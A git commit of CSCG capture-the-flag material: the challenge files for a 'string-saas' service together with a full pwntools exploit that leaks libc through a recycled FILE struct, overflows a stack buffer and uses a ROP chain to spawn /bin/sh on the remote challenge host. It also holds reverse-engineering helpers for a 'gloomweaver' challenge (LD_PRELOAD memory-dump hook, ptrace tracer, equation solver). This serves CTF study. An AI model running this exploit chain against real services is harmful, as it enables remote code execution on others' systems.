This commit is contained in:
2026-04-15 01:05:54 +02:00
parent db0324c43d
commit bc0c08342d
84 changed files with 28780 additions and 0 deletions

View File

@@ -0,0 +1,36 @@
FROM ubuntu:jammy-20240125@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \
/usr/local/bin/repro-sources-list.sh
RUN \
--mount=type=cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,target=/var/lib/apt,sharing=locked \
/usr/local/bin/repro-sources-list.sh && \
apt-get update && apt-get install -y \
make xz-utils gcc unzip file sudo
WORKDIR /app
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
/app/ynetd-0.1.2.tar.xz
RUN tar -xJf /app/ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && make
ADD --chmod=0600 getflag.c .
ADD --chmod=0755 run.sh .
COPY Makefile string-saas.c .
RUN make string-saas getflag
RUN rm getflag.c string-saas.c
RUN sha256sum string-saas
RUN echo 62350b02e19b9535e3e8e7e34792ac4c2cd1f86bc8563a9b6c4d24305ab48331 string-saas | sha256sum --check
RUN mkdir /app/tmp
RUN chmod 777 /app/tmp
EXPOSE 1024
CMD [ "/app/ynetd-0.1.2/ynetd", "-si", "y", "-so", "y", "-se", "y", \
"-p", "1024", "-d", "/app", "/app/string-saas" ]

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,8 @@
#!/bin/bash
unzip -qnd tmp "$1"
for f in $(zipinfo -1 "$1"); do
[ -L "tmp/$f" ] && continue
file "tmp/$f" | grep -q ELF && \
sudo -u nobody strings "tmp/$f" | grep -v CSCG # no fleg
done

View File

@@ -0,0 +1,185 @@
#!/usr/bin/env python3
"""
Exploit for string-saas (CSCG CTF)
===================================
Vulns:
1) Heap info-leak via FILE-struct recycling in analyze()
2) Stack buffer overflow in main (fgets 64 into buf[32])
Mitigations: Full RELRO, PIE, NX, no canary.
Server: ynetd (fork-based → stable ASLR per restart).
Step 1 Leak libc via analyze()
• First analyze(): send a valid ZIP → fopen/fclose puts a freed
locked_FILE struct into a tcache bin.
• Second analyze(): send base64 that decodes to exactly 464 bytes
of non-null, non-ZIP data. decode()'s malloc recycles the freed
FILE chunk. The decoded 464 bytes overwrite the chunk's front;
the _IO_wide_data._wide_vtable pointer at offset 464 survives
untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past
our data and leaks the vtable pointer (_IO_wfile_jumps).
Step 2 ROP via buffer overflow
Payload (63 bytes, NO embedded 0x0a):
32 B padding | 8 B fake rbp | 8 B pop_rdi;ret |
8 B &"/bin/sh" | 7 B do_system+2
fgets's NUL terminator supplies byte 7 of the last address (0x00).
Immediately after the 63 raw bytes we append b"exit\n".
• fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63).
• fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63].
• main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell!
We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack
alignment that system()'s movaps [rsp] requires.
"""
from pwn import *
import base64, zipfile, io, sys
# ── CONFIG ────────────────────────────────────────────────────────
REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live"
REMOTE_PORT = 443 # set e.g. 1024
# Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6)
LIBC_IO_WFILE_JUMPS = 0x2170c0
LIBC_POP_RDI = 0x2a3e5
LIBC_BINSH = 0x1d8678
LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment
LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk
# ──────────────────────────────────────────────────────────────────
context.binary = ELF('./string-saas_patched', checksec=False)
context.log_level = 'info'
# Override with local libc if running locally
USE_LOCAL = (REMOTE_HOST is None)
if USE_LOCAL:
_libc = ELF('./libc.so.6', checksec=False)
LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps']
LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0]
LIBC_BINSH = next(_libc.search(b'/bin/sh\x00'))
# find do_system jmp target
import subprocess as _sp
_r = _sp.run(['objdump','-d','-M','intel',
f'--start-address={hex(_libc.symbols["system"])}',
f'--stop-address={hex(_libc.symbols["system"]+20)}',
'/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True)
for _line in _r.stdout.split('\n'):
if 'jmp' in _line and ':' in _line:
for _tok in _line.split():
try:
_v = int(_tok, 16)
if _v > 0x10000:
LIBC_DO_SYSTEM_P2 = _v + 2
except: pass
log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} "
f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}")
def conn():
if REMOTE_HOST:
return remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
else:
return process('./string-saas_patched', stderr=STDOUT)
def make_zip_b64():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('t.txt', 'A')
return base64.b64encode(buf.getvalue())
def do_leak(p):
"""
Leak _IO_wfile_jumps address via FILE-struct recycling.
Returns the leaked libc address or None.
"""
b64_zip = make_zip_b64()
# 1) Valid ZIP → triggers fopen / fwrite / fclose
p.sendline(b'analyze')
p.recvuntil(b'ZIP:')
p.sendline(b64_zip)
p.recvuntil(b'> ')
# 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s
raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A'
p.sendline(b'analyze')
p.recvuntil(b'ZIP:')
p.sendline(base64.b64encode(raw))
resp = p.recvuntil(b'> ', timeout=5)
if b'Not a ZIP: ' not in resp:
return None
start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ')
end = resp.index(b'\n', start)
data = resp[start:end]
extra = data[LEAK_DECODE_SIZE:]
if len(extra) < 6:
return None
return u64(extra[:6].ljust(8, b'\x00'))
# ── MAIN ──────────────────────────────────────────────────────────
MAX_LEAK_TRIES = 50
for attempt in range(1, MAX_LEAK_TRIES + 1):
p = conn()
p.recvuntil(b'> ')
leaked = do_leak(p)
if leaked is None:
log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…")
p.close()
continue
libc_base = leaked - LIBC_IO_WFILE_JUMPS
if libc_base & 0xfff:
log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…")
input()
p.close()
continue
log.success(f"libc base = 0x{libc_base:x}")
pop_rdi = libc_base + LIBC_POP_RDI
binsh = libc_base + LIBC_BINSH
dosys2 = libc_base + LIBC_DO_SYSTEM_P2
# Build 63-byte ROP blob
payload = b'A' * 32 # input_buf (32 B)
payload += b'B' * 8 # saved rbp (don't care)
payload += p64(pop_rdi) # saved rip → pop rdi; ret
payload += p64(binsh) # → "/bin/sh"
payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets)
assert len(payload) == 63, f"payload len {len(payload)} != 63"
if b'\x0a' in payload:
log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). "
"Need server restart for new layout.")
p.close()
# On a fork server the layout is fixed until restart.
# If running locally each process() gives new ASLR.
continue
log.info("Sending overflow + 'exit' trigger…")
p.send(payload + b'exit\n')
p.recvuntil(b'ok, bye!')
log.success("main returned → ROP chain executing")
# Give the shell a moment to start
import time; time.sleep(0.2)
p.sendline(b'echo "SHELL_OK"')
try:
p.recvuntil(b'SHELL_OK', timeout=3)
log.success("Got shell!")
except EOFError:
log.warn("Shell died — alignment or constraint issue")
p.close()
continue
p.interactive()
break
else:
log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
A

Binary file not shown.

View File

@@ -0,0 +1,45 @@
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
int puts(const char *s) {
FILE *maps = fopen("/proc/self/maps", "r");
char line[512];
uintptr_t base = 0;
while (fgets(line, sizeof(line), maps)) {
if (strstr(line, "gloomweaver") && strstr(line, "rwxp")) {
sscanf(line, "%lx", &base);
break;
}
}
fclose(maps);
if (base) {
uintptr_t text = base - 0x1000; // file base (rwxp is at offset 0x1000)
// Dump the 55x55 matrix at virtual 0x1253 (in rw-p segment at offset 0)
FILE *f;
f = fopen("/tmp/matrix_1253.bin", "wb");
fwrite((void *)(text + 0x1253), 1, 55*55, f); fclose(f);
f = fopen("/tmp/table_2605.bin", "wb");
fwrite((void *)(text + 0x2605), 1, 55, f); fclose(f);
f = fopen("/tmp/table_2697.bin", "wb");
fwrite((void *)(text + 0x2697), 1, 55, f); fclose(f);
// Expected output: 55 words = 110 bytes
f = fopen("/tmp/expected_2119.bin", "wb");
fwrite((void *)(text + 0x2119), 1, 110, f); fclose(f);
// Also dump the full patched code again with broader range
f = fopen("/tmp/full_dump.bin", "wb");
fwrite((void *)text, 1, 0x8000, f); fclose(f);
}
write(1, s, strlen(s));
write(1, "\n", 1);
return 0;
}

Binary file not shown.

View File

@@ -0,0 +1,28 @@
# find_hash.py — find a flag that passes the checksum
import struct
def compute_hash(flag_bytes):
eax = 0x65
for b in flag_bytes:
ecx = eax & 0xFFFFFFFF
edx = eax & 0xFF # dl only
ecx = (ecx << 6) & 0xFFFFFFFF
edx = (edx >> 6) & 0xFF
eax = (eax + ecx) & 0xFFFFFFFF
eax = (eax + edx) & 0xFFFFFFFF
eax ^= b
return eax & 0xFF
prefix = b"CTF{th1s_"
suffix = b"}"
# 64 bytes total: 9 prefix + 54 middle + 1 suffix
# Try different last middle byte
for last in range(0x21, 0x7F):
middle = b"A" * 53 + bytes([last])
flag = prefix + middle + suffix
assert len(flag) == 64
h = compute_hash(flag)
if h == 0x0C:
print(f"Found: {flag.decode()}")
print(f"Hash: 0x{h:02x}")
break

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
caf5d17185a42bf99e74224d738c33e555aa086b27ee5de56bc35053dc386c1a /tmp/gloom_region_0.bin

View File

@@ -0,0 +1 @@
4c77553b5cfaa9c0f896574baecaf29cf0625943299999cbe436cb4e708724c1 /tmp/gloom_region_0.bin

View File

@@ -0,0 +1,95 @@
# solve.py
import numpy as np
# Load tables
matrix_raw = open("/tmp/matrix_1253.bin", "rb").read()
table_a = open("/tmp/table_2605.bin", "rb").read() # 55 bytes
table_b = open("/tmp/table_2697.bin", "rb").read() # 55 bytes
expected_raw = open("/tmp/expected_2119.bin", "rb").read() # 110 bytes
# Build coefficient matrix mod 256
# coeff[i][j] = ((table_a[i] * table_b[j] * 1337) & 0xFF + matrix[i*55+j]) & 0xFF
M = np.zeros((55, 55), dtype=np.int64)
for i in range(55):
for j in range(55):
ab = table_a[i] * table_b[j] # 8x8 -> 16-bit
val = (ab * 1337) & 0xFF # imul then take low byte
val = (val + matrix_raw[i * 55 + j]) & 0xFF # add matrix element
M[i][j] = val
# Expected values — try byte extraction (every other byte = low bytes of words)
# The cmpsw comparison uses words, so expected is 55 x 2-byte values
# Result bytes are at rsp[0..54], compared as words: (rsp[0],rsp[1]), (rsp[2],rsp[3])...
# Since only odd-indexed bytes have values, let's try both interpretations
# Interpretation 1: expected is just the first 55 bytes
expected_bytes = list(expected_raw[:55])
# Interpretation 2: expected is every other byte (word low bytes)
expected_words_lo = [expected_raw[i*2] for i in range(55)]
print("Expected (first 55 bytes):", [hex(x) for x in expected_bytes[:10]])
print("Expected (word lo bytes):", [hex(x) for x in expected_words_lo[:10]])
# Gaussian elimination mod 256
def solve_mod256(M, b):
n = len(b)
# Augmented matrix
aug = np.zeros((n, n+1), dtype=np.int64)
for i in range(n):
for j in range(n):
aug[i][j] = M[i][j] % 256
aug[i][n] = b[i] % 256
# Forward elimination
for col in range(n):
# Find pivot with odd value (invertible mod 256 requires gcd(pivot,256)=1)
pivot = -1
for row in range(col, n):
if aug[row][col] % 2 == 1: # odd = invertible mod 256
pivot = row
break
if pivot == -1:
print(f"No odd pivot at column {col}, trying any nonzero...")
for row in range(col, n):
if aug[row][col] != 0:
pivot = row
break
if pivot == -1:
print(f"Singular at column {col}")
return None
# Swap
aug[[col, pivot]] = aug[[pivot, col]]
# Compute inverse of pivot mod 256
pv = int(aug[col][col]) % 256
inv = pow(pv, -1, 256) if pv % 2 == 1 else None
if inv is None:
print(f"Non-invertible pivot {pv} at col {col}")
return None
# Scale pivot row
aug[col] = (aug[col] * inv) % 256
# Eliminate
for row in range(n):
if row != col and aug[row][col] != 0:
factor = int(aug[row][col])
aug[row] = (aug[row] - factor * aug[col]) % 256
solution = aug[:, n] % 256
return solution
# Try both interpretations
for name, expected in [("first_55_bytes", expected_bytes),
("word_lo_bytes", expected_words_lo)]:
print(f"\n=== Trying {name} ===")
sol = solve_mod256(M, expected)
if sol is not None:
flag_content = bytes([int(x) for x in sol])
flag = b"CTF{th1s" + flag_content + b"}"
printable = all(0x20 <= b < 0x7f for b in flag_content)
print(f"Solution: {flag}")
print(f"Printable: {printable}")
print(f"Hex: {flag_content.hex()}")

View File

@@ -0,0 +1,20 @@
// trace_hook.c — intercept signal handler to log VM state
#define _GNU_SOURCE
#include <signal.h>
#include <stdio.h>
#include <dlfcn.h>
static FILE *trace;
int sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact) {
// Log which signals are being registered
if (!trace) trace = fopen("/tmp/vm_trace.txt", "w");
fprintf(trace, "sigaction(%d)\n", signum);
fflush(trace);
// Call real sigaction
int (*real)(int, const struct sigaction*, struct sigaction*) =
dlsym(RTLD_NEXT, "sigaction");
return real(signum, act, oldact);
}

Binary file not shown.

BIN
2026/cscg/rev/gloomweaver/tracer Executable file

Binary file not shown.

View File

@@ -0,0 +1,64 @@
// tracer2.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
int main(int argc, char **argv) {
pid_t child = fork();
if (child == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
raise(SIGSTOP);
execv(argv[1], &argv[1]);
perror("exec");
exit(1);
}
int status;
waitpid(child, &status, 0);
// Use TRACEEXEC to catch the exec, then CONT (not SYSCALL)
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACEEXEC);
ptrace(PTRACE_CONT, child, 0, 0);
FILE *log = fopen("/tmp/signal_trace.txt", "w");
int count = 0;
while (1) {
waitpid(child, &status, 0);
if (WIFEXITED(status)) {
fprintf(log, "Exited: %d (signals: %d)\n", WEXITSTATUS(status), count);
break;
}
if (WIFSIGNALED(status)) {
fprintf(log, "Killed by signal %d\n", WTERMSIG(status));
break;
}
if (WIFSTOPPED(status)) {
int sig = WSTOPSIG(status);
// Exec event — swallow, continue
if (status >> 8 == (SIGTRAP | (PTRACE_EVENT_EXEC << 8))) {
fprintf(log, "Exec event\n");
ptrace(PTRACE_CONT, child, 0, 0);
continue;
}
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, child, 0, &regs);
fprintf(log, "Signal %2d at RIP=0x%llx RDI=%lld RSI=0x%llx\n",
sig, regs.rip, regs.rdi, regs.rsi);
fflush(log);
count++;
// Forward the signal
ptrace(PTRACE_CONT, child, 0, sig);
}
}
fclose(log);
return 0;
}